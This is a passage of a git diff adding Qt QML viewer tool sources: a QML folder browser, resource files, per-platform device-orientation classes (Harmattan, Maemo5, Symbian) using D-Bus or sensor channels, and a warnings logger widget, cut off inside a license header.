+ if (event.key == Qt.Key_Return || event.key == Qt.Key_Select || event.key == Qt.Key_Right) {
+ view.currentItem.launch();
+ event.accepted = true;
+ } else if (event.key == Qt.Key_Left) {
+ up();
+ }
+ }
+
+ BorderImage {
+ source: "images/titlebar.sci";
+ width: parent.width;
+ height: 52
+ y: -7
+ id: titleBar
+
+ Rectangle {
+ id: upButton
+ width: 48
+ height: titleBar.height - 7
+ color: "transparent"
+
+ Image { anchors.centerIn: parent; source: "images/up.png" }
+ MouseArea { id: upRegion; anchors.centerIn: parent
+ width: 56
+ height: 56
+ onClicked: if (folders.parentFolder != "") up()
+ }
+ states: [
+ State {
+ name: "pressed"
+ when: upRegion.pressed
+ PropertyChanges { target: upButton; color: palette.highlight }
+ }
+ ]
+ }
+ Rectangle {
+ color: "gray"
+ x: 48
+ width: 1
+ height: 44
+ }
+
+ Text {
+ anchors.left: upButton.right; anchors.right: parent.right; height: parent.height
+ anchors.leftMargin: 4; anchors.rightMargin: 4
+ text: folders.folder
+ color: "white"
+ elide: Text.ElideLeft; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignVCenter
+ font.pixelSize: 32
+ }
+ }
+}
diff --git a/tools/qml/browser/browser.qrc b/tools/qml/browser/browser.qrc
new file mode 100644
index 00000000..9c688e75
--- /dev/null
+++ b/tools/qml/browser/browser.qrc
@@ -0,0 +1,9 @@
+<RCC>
+ <qresource prefix="/browser">
+ <file>Browser.qml</file>
+ <file>images/up.png</file>
+ <file>images/folder.png</file>
+ <file>images/titlebar.sci</file>
+ <file>images/titlebar.png</file>
+ </qresource>
+</RCC>
diff --git a/tools/qml/browser/images/folder.png b/tools/qml/browser/images/folder.png
new file mode 100644
index 00000000..e53e2ad4
--- /dev/null
+++ b/tools/qml/browser/images/folder.png
Binary files differ
diff --git a/tools/qml/browser/images/titlebar.png b/tools/qml/browser/images/titlebar.png
new file mode 100644
index 00000000..51c90082
--- /dev/null
+++ b/tools/qml/browser/images/titlebar.png
Binary files differ
diff --git a/tools/qml/browser/images/titlebar.sci b/tools/qml/browser/images/titlebar.sci
new file mode 100644
index 00000000..0418d94c
--- /dev/null
+++ b/tools/qml/browser/images/titlebar.sci
@@ -0,0 +1,5 @@
+border.left: 10
+border.top: 12
+border.bottom: 12
+border.right: 10
+source: titlebar.png
diff --git a/tools/qml/browser/images/up.png b/tools/qml/browser/images/up.png
new file mode 100644
index 00000000..b05f8025
--- /dev/null
+++ b/tools/qml/browser/images/up.png
Binary files differ
diff --git a/tools/qml/deviceorientation.cpp b/tools/qml/deviceorientation.cpp
new file mode 100644
index 00000000..d37df09b
--- /dev/null
+++ b/tools/qml/deviceorientation.cpp
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "deviceorientation.h"
+
+QT_USE_NAMESPACE
+
+class DefaultDeviceOrientation : public DeviceOrientation
+{
+ Q_OBJECT
+public:
+ DefaultDeviceOrientation() : DeviceOrientation(), m_orientation(DeviceOrientation::Portrait) {}
+
+ Orientation orientation() const {
+ return m_orientation;
+ }
+
+ void pauseListening() {
+ }
+ void resumeListening() {
+ }
+
+ void setOrientation(Orientation o) {
+ if (o != m_orientation) {
+ m_orientation = o;
+ emit orientationChanged();
+ }
+ }
+
+ Orientation m_orientation;
+};
+
+DeviceOrientation* DeviceOrientation::instance()
+{
+ static DefaultDeviceOrientation *o = 0;
+ if (!o)
+ o = new DefaultDeviceOrientation;
+ return o;
+}
+
+#include "deviceorientation.moc"
+
diff --git a/tools/qml/deviceorientation.h b/tools/qml/deviceorientation.h
new file mode 100644
index 00000000..7662d3ff
--- /dev/null
+++ b/tools/qml/deviceorientation.h
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ORIENTATION_H
+#define ORIENTATION_H
+
+#include <QObject>
+
+QT_BEGIN_NAMESPACE
+
+class DeviceOrientationPrivate;
+class DeviceOrientation : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(Orientation)
+public:
+ enum Orientation {
+ UnknownOrientation,
+ Portrait,
+ Landscape,
+ PortraitInverted,
+ LandscapeInverted
+ };
+
+ virtual Orientation orientation() const = 0;
+ virtual void setOrientation(Orientation) = 0;
+
+ virtual void pauseListening() = 0;
+ virtual void resumeListening() = 0;
+
+ static DeviceOrientation *instance();
+
+signals:
+ void orientationChanged();
+
+protected:
+ DeviceOrientation() {}
+
+private:
+ DeviceOrientationPrivate *d_ptr;
+ friend class DeviceOrientationPrivate;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qml/deviceorientation_harmattan.cpp b/tools/qml/deviceorientation_harmattan.cpp
new file mode 100644
index 00000000..d415f51f
--- /dev/null
+++ b/tools/qml/deviceorientation_harmattan.cpp
@@ -0,0 +1,161 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "deviceorientation.h"
+#include <QtDBus>
+#include <QDebug>
+
+#define ORIENTATION_SERVICE "com.nokia.SensorService"
+#define ORIENTATION_PATH "/org/maemo/contextkit/Screen/TopEdge"
+#define CONTEXT_INTERFACE "org.maemo.contextkit.Property"
+#define CONTEXT_CHANGED "ValueChanged"
+#define CONTEXT_SUBSCRIBE "Subscribe"
+#define CONTEXT_UNSUBSCRIBE "Unsubscribe"
+#define CONTEXT_GET "Get"
+
+
+class HarmattanOrientation : public DeviceOrientation
+{
+ Q_OBJECT
+public:
+ HarmattanOrientation()
+ : o(UnknownOrientation), sensorEnabled(false)
+ {
+ resumeListening();
+ // connect to the orientation change signal
+ bool ok = QDBusConnection::systemBus().connect(ORIENTATION_SERVICE, ORIENTATION_PATH,
+ CONTEXT_INTERFACE,
+ CONTEXT_CHANGED,
+ this,
+ SLOT(deviceOrientationChanged(QList<QVariant>,quint64)));
+// qDebug() << "connection OK" << ok;
+ QDBusMessage reply = QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH,
+ CONTEXT_INTERFACE, CONTEXT_GET));
+ if (reply.type() != QDBusMessage::ErrorMessage) {
+ QList<QVariant> args;
+ qvariant_cast<QDBusArgument>(reply.arguments().at(0)) >> args;
+ deviceOrientationChanged(args, 0);
+ }
+ }
+
+ ~HarmattanOrientation()
+ {
+ // unsubscribe from the orientation sensor
+ if (sensorEnabled)
+ QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH,
+ CONTEXT_INTERFACE, CONTEXT_UNSUBSCRIBE));
+ }
+
+ inline Orientation orientation() const
+ {
+ return o;
+ }
+
+ void setOrientation(Orientation)
+ {
+ }
+
+ void pauseListening() {
+ if (sensorEnabled) {
+ // unsubscribe from the orientation sensor
+ QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH,
+ CONTEXT_INTERFACE, CONTEXT_UNSUBSCRIBE));
+ sensorEnabled = false;
+ }
+ }
+
+ void resumeListening() {
+ if (!sensorEnabled) {
+ // subscribe to the orientation sensor
+ QDBusMessage reply = QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH,
+ CONTEXT_INTERFACE, CONTEXT_SUBSCRIBE));
+
+ if (reply.type() == QDBusMessage::ErrorMessage) {
+ qWarning("Unable to retrieve device orientation: %s", qPrintable(reply.errorMessage()));
+ } else {
+ sensorEnabled = true;
+ }
+ }
+ }
+
+private Q_SLOTS:
+ void deviceOrientationChanged(QList<QVariant> args,quint64)
+ {
+ if (args.count() == 0)
+ return;
+ Orientation newOrientation = toOrientation(args.at(0).toString());
+ if (newOrientation != o) {
+ o = newOrientation;
+ emit orientationChanged();
+ }
+// qDebug() << "orientation" << args.at(0).toString();
+ }
+
+private:
+ static Orientation toOrientation(const QString &nativeOrientation)
+ {
+ if (nativeOrientation == "top")
+ return Landscape;
+ else if (nativeOrientation == "left")
+ return Portrait;
+ else if (nativeOrientation == "bottom")
+ return LandscapeInverted;
+ else if (nativeOrientation == "right")
+ return PortraitInverted;
+ return UnknownOrientation;
+ }
+
+private:
+ Orientation o;
+ bool sensorEnabled;
+};
+
+DeviceOrientation* DeviceOrientation::instance()
+{
+ static HarmattanOrientation *o = new HarmattanOrientation;
+ return o;
+}
+
+#include "deviceorientation_harmattan.moc"
diff --git a/tools/qml/deviceorientation_maemo5.cpp b/tools/qml/deviceorientation_maemo5.cpp
new file mode 100644
index 00000000..14162767
--- /dev/null
+++ b/tools/qml/deviceorientation_maemo5.cpp
@@ -0,0 +1,148 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "deviceorientation.h"
+#include <QtDBus>
+
+#include <mce/mode-names.h>
+#include <mce/dbus-names.h>
+
+class MaemoOrientation : public DeviceOrientation
+{
+ Q_OBJECT
+public:
+ MaemoOrientation()
+ : o(UnknownOrientation), sensorEnabled(false)
+ {
+ resumeListening();
+ // connect to the orientation change signal
+ QDBusConnection::systemBus().connect(QString(), MCE_SIGNAL_PATH, MCE_SIGNAL_IF,
+ MCE_DEVICE_ORIENTATION_SIG,
+ this,
+ SLOT(deviceOrientationChanged(QString)));
+ }
+
+ ~MaemoOrientation()
+ {
+ // disable the orientation sensor
+ QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(MCE_SERVICE, MCE_REQUEST_PATH,
+ MCE_REQUEST_IF, MCE_ACCELEROMETER_DISABLE_REQ));
+ }
+
+ inline Orientation orientation() const
+ {
+ return o;
+ }
+
+ void setOrientation(Orientation o)
+ {
+ }
+
+ void pauseListening() {
+ if (sensorEnabled) {
+ // disable the orientation sensor
+ QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(MCE_SERVICE, MCE_REQUEST_PATH,
+ MCE_REQUEST_IF, MCE_ACCELEROMETER_DISABLE_REQ));
+ sensorEnabled = false;
+ }
+ }
+
+ void resumeListening() {
+ if (!sensorEnabled) {
+ // enable the orientation sensor
+ QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(MCE_SERVICE, MCE_REQUEST_PATH,
+ MCE_REQUEST_IF, MCE_ACCELEROMETER_ENABLE_REQ));
+
+ QDBusMessage reply = QDBusConnection::systemBus().call(
+ QDBusMessage::createMethodCall(MCE_SERVICE, MCE_REQUEST_PATH,
+ MCE_REQUEST_IF, MCE_DEVICE_ORIENTATION_GET));
+
+ if (reply.type() == QDBusMessage::ErrorMessage) {
+ qWarning("Unable to retrieve device orientation: %s", qPrintable(reply.errorMessage()));
+ } else {
+ Orientation orientation = toOrientation(reply.arguments().value(0).toString());
+ if (o != orientation) {
+ o = orientation;
+ emit orientationChanged();
+ }
+ sensorEnabled = true;
+ }
+ }
+ }
+
+private Q_SLOTS:
+ void deviceOrientationChanged(const QString &newOrientation)
+ {
+ o = toOrientation(newOrientation);
+
+ emit orientationChanged();
+// printf("%d\n", o);
+ }
+
+private:
+ static Orientation toOrientation(const QString &nativeOrientation)
+ {
+ if (nativeOrientation == MCE_ORIENTATION_LANDSCAPE)
+ return Landscape;
+ else if (nativeOrientation == MCE_ORIENTATION_LANDSCAPE_INVERTED)
+ return LandscapeInverted;
+ else if (nativeOrientation == MCE_ORIENTATION_PORTRAIT)
+ return Portrait;
+ else if (nativeOrientation == MCE_ORIENTATION_PORTRAIT_INVERTED)
+ return PortraitInverted;
+ return UnknownOrientation;
+ }
+
+private:
+ Orientation o;
+ bool sensorEnabled;
+};
+
+DeviceOrientation* DeviceOrientation::instance()
+{
+ static MaemoOrientation *o = new MaemoOrientation;
+ return o;
+}
+
+#include "deviceorientation_maemo5.moc"
diff --git a/tools/qml/deviceorientation_symbian.cpp b/tools/qml/deviceorientation_symbian.cpp
new file mode 100644
index 00000000..96f2809f
--- /dev/null
+++ b/tools/qml/deviceorientation_symbian.cpp
@@ -0,0 +1,192 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "deviceorientation.h"
+
+#include <e32base.h>
+#include <sensrvchannelfinder.h>
+#include <sensrvdatalistener.h>
+#include <sensrvchannel.h>
+#include <sensrvorientationsensor.h>
+
+class SymbianOrientation : public DeviceOrientation, public MSensrvDataListener
+{
+ Q_OBJECT
+public:
+ SymbianOrientation()
+ : DeviceOrientation(), m_current(UnknownOrientation), m_sensorChannel(0), m_channelOpen(false)
+ {
+ TRAP_IGNORE(initL());
+ if (!m_sensorChannel)
+ qWarning("No valid sensors found.");
+ }
+
+ ~SymbianOrientation()
+ {
+ if (m_sensorChannel) {
+ m_sensorChannel->StopDataListening();
+ m_sensorChannel->CloseChannel();
+ delete m_sensorChannel;
+ }
+ }
+
+ void initL()
+ {
+ CSensrvChannelFinder *channelFinder = CSensrvChannelFinder::NewLC();
+ RSensrvChannelInfoList channelInfoList;
+ CleanupClosePushL(channelInfoList);
+
+ TSensrvChannelInfo searchConditions;
+ searchConditions.iChannelType = KSensrvChannelTypeIdOrientationData;
+ channelFinder->FindChannelsL(channelInfoList, searchConditions);
+
+ for (int i = 0; i < channelInfoList.Count(); ++i) {
+ TRAPD(error, m_sensorChannel = CSensrvChannel::NewL(channelInfoList[i]));
+ if (!error)
+ TRAP(error, m_sensorChannel->OpenChannelL());
+ if (!error) {
+ TRAP(error, m_sensorChannel->StartDataListeningL(this, 1, 1, 0));
+ m_channelOpen = true;
+ break;
+ }
+ if (error) {
+ delete m_sensorChannel;
+ m_sensorChannel = 0;
+ }
+ }
+
+ channelInfoList.Close();
+ CleanupStack::Pop(&channelInfoList);
+ CleanupStack::PopAndDestroy(channelFinder);
+ }
+
+ Orientation orientation() const
+ {
+ return m_current;
+ }
+
+ void setOrientation(Orientation) { }
+
+private:
+ DeviceOrientation::Orientation m_current;
+ CSensrvChannel *m_sensorChannel;
+ bool m_channelOpen;
+ void pauseListening() {
+ if (m_sensorChannel && m_channelOpen) {
+ m_sensorChannel->StopDataListening();
+ m_sensorChannel->CloseChannel();
+ m_channelOpen = false;
+ }
+ }
+
+ void resumeListening() {
+ if (m_sensorChannel && !m_channelOpen) {
+ TRAPD(error, m_sensorChannel->OpenChannelL());
+ if (!error) {
+ TRAP(error, m_sensorChannel->StartDataListeningL(this, 1, 1, 0));
+ if (!error) {
+ m_channelOpen = true;
+ }
+ }
+ if (error) {
+ delete m_sensorChannel;
+ m_sensorChannel = 0;
+ }
+ }
+ }
+
+ void DataReceived(CSensrvChannel &channel, TInt count, TInt dataLost)
+ {
+ Q_UNUSED(dataLost)
+ if (channel.GetChannelInfo().iChannelType == KSensrvChannelTypeIdOrientationData) {
+ TSensrvOrientationData data;
+ for (int i = 0; i < count; ++i) {
+ TPckgBuf<TSensrvOrientationData> dataBuf;
+ channel.GetData(dataBuf);
+ data = dataBuf();
+ Orientation orientation = UnknownOrientation;
+ switch (data.iDeviceOrientation) {
+ case TSensrvOrientationData::EOrientationDisplayUp:
+ orientation = Portrait;
+ break;
+ case TSensrvOrientationData::EOrientationDisplayRightUp:
+ orientation = Landscape;
+ break;
+ case TSensrvOrientationData::EOrientationDisplayLeftUp:
+ orientation = LandscapeInverted;
+ break;
+ case TSensrvOrientationData::EOrientationDisplayDown:
+ orientation = PortraitInverted;
+ break;
+ case TSensrvOrientationData::EOrientationUndefined:
+ case TSensrvOrientationData::EOrientationDisplayUpwards:
+ case TSensrvOrientationData::EOrientationDisplayDownwards:
+ default:
+ break;
+ }
+
+ if (m_current != orientation && orientation != UnknownOrientation) {
+ m_current = orientation;
+ emit orientationChanged();
+ }
+ }
+ }
+ }
+
+ void DataError(CSensrvChannel& /* channel */, TSensrvErrorSeverity /* error */)
+ {
+ }
+
+ void GetDataListenerInterfaceL(TUid /* interfaceUid */, TAny*& /* interface */)
+ {
+ }
+};
+
+
+DeviceOrientation* DeviceOrientation::instance()
+{
+ static SymbianOrientation *o = 0;
+ if (!o)
+ o = new SymbianOrientation;
+ return o;
+}
+
+#include "deviceorientation_symbian.moc"
diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp
new file mode 100644
index 00000000..30bd3449
--- /dev/null
+++ b/tools/qml/loggerwidget.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qglobal.h>
+#include <QDebug>
+#include <QSettings>
+#include <QActionGroup>
+#include <QMenu>
+#include <QPlainTextEdit>
+#include <QLabel>
+#include <QVBoxLayout>
+#ifdef Q_WS_MAEMO_5
+# include <QScrollArea>
+# include <QVBoxLayout>
+# include "texteditautoresizer_maemo5.h"
+#endif
+
+#include "loggerwidget.h"
+
+QT_BEGIN_NAMESPACE
+
+LoggerWidget::LoggerWidget(QWidget *parent) :
+ QMainWindow(parent),
+ m_visibilityOrigin(SettingsOrigin)
+{
+ setAttribute(Qt::WA_QuitOnClose, false);
+ setWindowTitle(tr("Warnings"));
+
+ m_plainTextEdit = new QPlainTextEdit();
+
+#if defined(Q_OS_SYMBIAN)
+ QAction* clearAction = new QAction(tr("Clear"), this);
+ clearAction->setSoftKeyRole(QAction::PositiveSoftKey);
+ connect(clearAction, SIGNAL(triggered()), m_plainTextEdit, SLOT(clear()));
+ addAction(clearAction);
+
+ m_plainTextEdit->setReadOnly(true);
+ QAction* backAction = new QAction( tr("Back"), this );
+ backAction->setSoftKeyRole( QAction::NegativeSoftKey );
+ connect(backAction, SIGNAL(triggered()), this, SLOT(hide()));
+ addAction( backAction );
+#endif
+
+#ifdef Q_WS_MAEMO_5
+ new TextEditAutoResizer(m_plainTextEdit);
+ setAttribute(Qt::WA_Maemo5StackedWindow);
+ QScrollArea *area = new QScrollArea();
+ area->setWidget(m_plainTextEdit);
+ area->setWidgetResizable(true);
+ setCentralWidget(area);
+#else
+ setCentralWidget(m_plainTextEdit);
+#endif
+
+ m_noWarningsLabel = new QLabel(m_plainTextEdit);
+ m_noWarningsLabel->setText(tr("(No warnings)"));
+ m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter);
+ QVBoxLayout *layout = new QVBoxLayout;
+ layout->addWidget(m_noWarningsLabel);
+ m_plainTextEdit->setLayout(layout);
+ connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel()));
+
+ readSettings();
+ setupPreferencesMenu();
+}
+
+void LoggerWidget::append(const QString &msg)
+{
+ m_plainTextEdit->appendPlainText(msg);
+
+ if (!isVisible() && (defaultVisibility() == AutoShowWarnings))
+ setVisible(true);
+}
+
+LoggerWidget::Visibility LoggerWidget::defaultVisibility() const
+{
+ return m_visibility;
+}
+
+void LoggerWidget::setDefaultVisibility(LoggerWidget::Visibility visibility)
+{
+ if (m_visibility == visibility)
+ return;
+
+ m_visibility = visibility;
+ m_visibilityOrigin = CommandLineOrigin;
+
+ m_preferencesMenu->setEnabled(m_visibilityOrigin == SettingsOrigin);
+}
+
+QMenu *LoggerWidget::preferencesMenu()
+{
+ return m_preferencesMenu;
+}
+
+QAction *LoggerWidget::showAction()
+{
+ return m_showWidgetAction;
+}
+
+void LoggerWidget::readSettings()
+{
+ QSettings settings;
+ QString warningsPreferences = settings.value(QLatin1String("warnings"), QLatin1String("hide")).toString();
+ if (warningsPreferences == QLatin1String("show")) {
+ m_visibility = ShowWarnings;
+ } else if (warningsPreferences == QLatin1String("hide")) {
+ m_visibility = HideWarnings;
+ } else {
+ m_visibility = AutoShowWarnings;
+ }
+}
+
+void LoggerWidget::saveSettings()
+{
+ if (m_visibilityOrigin != SettingsOrigin)
+ return;
+
+ QString value = QLatin1String("autoShow");
+ if (defaultVisibility() == ShowWarnings) {
+ value = QLatin1String("show");
+ } else if (defaultVisibility() == HideWarnings) {
+ value = QLatin1String("hide");
+ }
+
+ QSettings settings;
+ settings.setValue(QLatin1String("warnings"), value);
+}
+
+void LoggerWidget::warningsPreferenceChanged(QAction *action)
+{
+ Visibility newSetting = static_cast<Visibility>(action->data().toInt());
+ m_visibility = newSetting;
+ saveSettings();
+}
+
+void LoggerWidget::showEvent(QShowEvent *event)
+{
+ QWidget::showEvent(event);
+ emit opened();
+}
+
+void LoggerWidget::closeEvent(QCloseEvent *event)
+{
+ QWidget::closeEvent(event);
+ emit closed();
+}
+
+void LoggerWidget::setupPreferencesMenu()
+{
+ m_preferencesMenu = new QMenu(tr("Warnings"));
+ QActionGroup *warnings = new QActionGroup(m_preferencesMenu);
+ warnings->setExclusive(true);
+
+ connect(warnings, SIGNAL(triggered(QAction*)), this, SLOT(warningsPreferenceChanged(QAction*)));
+
+ QAction *showWarningsPreference = new QAction(tr("Show by default"), m_preferencesMenu);
+ showWarningsPreference->setCheckable(true);
+ showWarningsPreference->setData(LoggerWidget::ShowWarnings);
+ warnings->addAction(showWarningsPreference);
+ m_preferencesMenu->addAction(showWarningsPreference);
+
+ QAction *hideWarningsPreference = new QAction(tr("Hide by default"), m_preferencesMenu);
+ hideWarningsPreference->setCheckable(true);
+ hideWarningsPreference->setData(LoggerWidget::HideWarnings);
+ warnings->addAction(hideWarningsPreference);
+ m_preferencesMenu->addAction(hideWarningsPreference);
+
+ QAction *autoWarningsPreference = new QAction(tr("Show for first warning"), m_preferencesMenu);
+ autoWarningsPreference->setCheckable(true);
+ autoWarningsPreference->setData(LoggerWidget::AutoShowWarnings);
+ warnings->addAction(autoWarningsPreference);
+ m_preferencesMenu->addAction(autoWarningsPreference);
+
+ switch (defaultVisibility()) {
+ case LoggerWidget::ShowWarnings:
+ showWarningsPreference->setChecked(true);
+ break;
+ case LoggerWidget::HideWarnings:
+ hideWarningsPreference->setChecked(true);
+ break;
+ default:
+ autoWarningsPreference->setChecked(true);
+ }
+}
+
+void LoggerWidget::updateNoWarningsLabel()
+{
+ m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0);
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qml/loggerwidget.h b/tools/qml/loggerwidget.h
new file mode 100644
index 00000000..abe67534
--- /dev/null
+++ b/tools/qml/loggerwidget.h
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
